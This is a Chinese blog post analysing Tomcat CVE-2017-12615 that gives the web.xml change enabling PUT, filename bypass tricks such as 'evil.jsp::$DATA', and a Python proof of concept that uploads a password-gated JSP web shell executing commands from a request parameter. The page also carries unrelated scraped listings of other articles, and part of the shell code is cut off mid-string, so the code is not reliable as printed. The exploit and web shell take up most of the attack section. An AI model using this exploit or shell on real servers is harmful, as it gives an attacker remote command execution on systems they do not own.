Tomcat代码执行漏洞分析测试

1. 漏洞花絮

       2017年9月19日,Apache Tomcat官方确认并修复了两个高危漏洞,漏洞CVE编号:CVE-2017-12615和CVE-2017-12616,其中 远程代码执行漏洞(CVE-2017-12615)    影响: Apache Tomcat 7.0.0 - 7.0.79(7.0.81修复不完全)

当 Tomcat 运行在 Windows 主机上,且启用了 HTTP PUT 请求方法(例如,将 readonly 初始化参数由默认值设置为 false),攻击者将有可能可通过精心构造的攻击请求向服务器上传包含任意代码的 JSP 文件。之后,JSP 文件中的代码将能被服务器执行。

 
 

2. 基本信息

漏洞名称:Tomcat任意文件上传漏洞

漏洞编号:CVE-2017-12615

漏洞影响:上传包含任意代码的文件,并被服务器执行。

影响平台:Windows

影响版本:Apache Tomcat 7.0.0 - 7.0.81

 
 

3. 测试过程

0x00 安装Tomcat 7.0.79

0x01 开启HTTP PUT

修改Tomcat 7.0/conf/web.xml文件

Org.apache.catalina.servlets.DefaultServlet

添加readonly属性,使者readonly=false; 相反为True,是禁用PUT DETELE,默认没有添加

  1. <init-param>
  2.  
     
  3. <param-name>readonly</param-name>
  4.  
     
  5. <param-value>false</param-value>
  6.  
     
  7. </init-param>

 
 

目前主要三种方法:

  • evil.jsp%20
  • evil.jsp::$DATA
  • evil.jsp/

构造请求:

 
 

 
 

参考POC:

  1. #! -*- coding:utf-8 -*-
  2.  
     
  3. import httplib
  4.  
     
  5. import sys
  6.  
     
  7. import time
  8.  
     
  9. body = '''<%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%><%!public
    static String excuteCmd(String c) {StringBuilder line = new StringBuilder();try {Process pro = Runtime.getRuntime().exec(c);BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream()));String temp = null;while ((temp = buf.readLine()) != null) {line.append(temp
  10.  
     
  11. +"".equals(request.getParameter("pwd"))&&!"".equals(request.getParameter("cmd"))){out.println("<pre>"+excuteCmd(request.getParameter("cmd"))+"</pre>");}else{out.println(":-)");}%>'''
  12.  
     
  13. try:
  14.  
     
  15.     conn = httplib.HTTPConnection(sys.argv[1])
  16.  
     
  17.     conn.request(method='OPTIONS', url='/ffffzz')
  18.  
     
  19.     headers = dict(conn.getresponse().getheaders())
  20.  
     
  21.     if 'allow' in headers and \
  22.  
     
  23.        headers['allow'].find('PUT') > 0 :
  24.  
     
  25.         conn.close()
  26.  
     
  27.         conn = httplib.HTTPConnection(sys.argv[1])
  28.  
     
  29.         url = "/" + str(int(time.time()))+'.jsp/'
  30.  
     
  31.         #url = "/" + str(int(time.time()))+'.jsp::$DATA'
  32.  
     
  33.         conn.request( method='PUT', url= url, body=body)
  34.  
     
  35.         res = conn.getresponse()
  36.  
     
  37.         if res.status == 201 :
  38.  
     
  39.             #print 'shell:', 'http://' + sys.argv[1] + url[:-7]

  40.  
     
  41.             print 'shell:', 'http://' + sys.argv[1] + url[:-1]

  42.  
     
  43.         elif res.status == 204 :
  44.  
     
  45.             print 'file exists'
  46.  
     
  47.         else:
  48.  
     
  49.             print 'error'
  50.  
     
  51.         conn.close()
  52.  
     
  53.     else:
  54.  
     
  55.         print 'Server not vulnerable'
  56.  
     
  57.  
     
  58.  
     
  59. except Exception,e:
  60.  
     
  61.     print 'Error:', e

 
 

 
 

参考链接:

https://mp.weixin.qq.com/s?__biz=MzI1NDg4MTIxMw==&mid=2247483659&idx=1&sn=c23b3a3b3b43d70999bdbe644e79f7e5&chksm=ea3f3dd9dd48b4cf1db66e70662126cf1eb45f60eb8205b3391d20f66564e6a789b158c0efe5&mpshare=1&scene=23&srcid=0920boQGYdCjZTPg2nEQRMqt#rd

https://www.secquan.org/BugWarning/522

https://paper.seebug.org/399/

  

CVE-2017-12615和CVE-2017-12616的更多相关文章

  1. 【Tools】-NO.89.Tools.4.Visual Studio 2017.1.001-【Visual Studio 2017 安装与卸载】-

    1.0.0 Summary Tittle:[Tools]-NO.89.Tools.4.Visual Studio 2017.1.001-[Visual Studio 2017 安装与卸载]- Styl ...

  2. 【数论】【原根】【动态规划】【bitset】2017四川省赛 K.2017 Revenge

    题意: 给你n(不超过200w)个数,和一个数r,问你有多少种方案,使得你取出某个子集,能够让它们的乘积 mod 2017等于r. 2017有5这个原根,可以使用离散对数(指标)的思想把乘法转化成加法 ...

  3. ROSCon 2017通知 Announcing ROSCon 2017: September 21st and 22nd in Vancouver

    ROSCon 2017通知:9月21日和22日在温哥华 我们很高兴地宣布,2017年ROSCon将在举行9月21-22日,2017年温哥华会议中心在加拿大温哥华.2017年IROS将在同一地点9月24 ...

  4. PhpStorm 2017汉化补丁 2017.1 免费中文版

    PhpStorm 2017汉化补丁是一款可以让PhpStorm 2017.1版实现中文界面显示的汉化包工具,本站提供了PhpStorm 2017.1汉化补丁下载地址,有需要的朋友们欢迎前来下载使用. ...

  5. 在 2017 年将会更加流行的 6 个 Web 开发趋势

    2016即将过去,2017就要来临. 前阵子看到很多对2016前端领域的总结,也是有人欢喜有人忧啊. 转发了这一篇2017web的发展趋势.那么到底会是怎么样的一个发展趋势的,只好拭目以待了. 201 ...

  6. 漏洞都是怎么编号的CVE/CAN/BUGTRAQ/CNCVE/CNVD/CNNVD

    在一些文章和报道中常常提到安全漏洞CVE-1999-1046这样的CVE开头的漏洞编号,这篇文章将常见的漏洞ID的表示方法做下介绍: 1.以CVE开头,如CVE-1999-1046这样的 CVE 的英 ...

  7. Visual Studio 2017十五项新功能体验

    Visual Studio 2017正式已经于2017.3.7号正式发布,选在这一天发布也是为了纪念Visual Studio 二十周年.MVP 2017技术峰会将于这个周末(3.17)在北京举办,由 ...

  8. 2017年最新基于Bootstrap 4 的专业、多用途响应式布局的系统模板

    本文分享一款2017年最新的2017年最新基于Bootstrap 4 的专业.多用途响应式布局的系统模板,该模板是一款强大并且非常灵活的后台管理系统模板:能适应绝大多数的web应用程序开发,比如:AP ...

  9. Java 面试宝典-2017

    http://www.cnblogs.com/nelson-hu/p/7190163.html Java面试宝典-2017   Java面试宝典2017版 一. Java基础部分........... ...

  10. 角落的开发工具集之Vs(Visual Studio)2017插件推荐

    因为最近录制视频的缘故,很多朋友都在QQ群留言,或者微信公众号私信我,问我一些工具和一些插件啊,怎么使用的啊?那么今天我忙里偷闲整理一下清单,然后在这里面公布出来. Visual Studio 201 ...

随机推荐

  1. Jenkins安装及配置

    Jenkins 简介 Jenkins 是一个开源项目,是基于Java开发的一种持续集成工具,用于监控持续重复的工作,旨在提供一个开放易用的软件平台,使软件的持续集成变成可能.它的功能包括: 1.持续的 ...

  2. idea下使用Git基本操作(转载)

    IDEA中Git的更新.提交.还原方法: https://blog.csdn.net/geng31/article/details/78585557 IDEA中Git的提交到GitHub http:/ ...

  3. $set()的正确使用方式

    vue给对象新增属性,并触发视图更新 如下代码:给student对象新增age属性 data () { return { student: { name: '', sex: '' } } } 众所周知 ...

  4. Qt 程序获取程序所在路径、用户目录路径、临时文件夹等特殊路径的方法

    Qt 程序获取程序所在路径.用户目录路径.临时文件夹等特殊路径的方法 经常我们的程序中需要访问一些特殊的路径,比如程序所在的路径.用户目录路径.临时文件夹等.在 Qt 中实现这几个功能所用的方法虽然都 ...

  5. C# 关闭子窗体释放子窗体对象问题

    1 在主窗口中实例化子窗口 Form2 f2 = new Form2(); 2 通过按钮来显示子窗口 f2.Show(); 3 关闭子窗口而不释放子窗口对象的方法 protected override ...

  6. sqlserver数据库中sql的使用

    目录: 1. 分组排序更新 2. 将查询结果插入到新的表中 3. 创建/更新存储过程 4. 创建/更新视图 5. 插入数据 6. 增加表格的列 7. 创建表格 8. 创建索引 9. 递归查询 1. 分 ...

  7. angular面试记忆的内容

    1.ng-class的用法:ng-class="{red:true}"; 2.ng-repeat怎么可以添加重复数据.ng-repeat="item in arr tra ...

  8. 问题处理:Library not loaded: /usr/local/opt/readline/lib/libreadline.7.dylib (LoadError)

    进入rails 文件夹, terminal输入rails console报告❌. 类似下面的 Running via Spring preloader Traceback (most recent c ...

  9. 异步核心接口IAsyncResult的实现

    要实现异步编程,就需要正确的实现IAsyncResult接口.IAsyncResult共有四个属性: public interface IAsyncResult { object AsyncState ...

  10. 完整的Django入门指南学习笔记5

    前言 欢迎来到本系列教程的第5部分,在这节课,我们将学习如何保护视图防止未登录的用户访问,以及在视图和表单中访问已经登录的用户,我们还将实现主题列表和回复列表视图,最后,将探索Django ORM的一 ...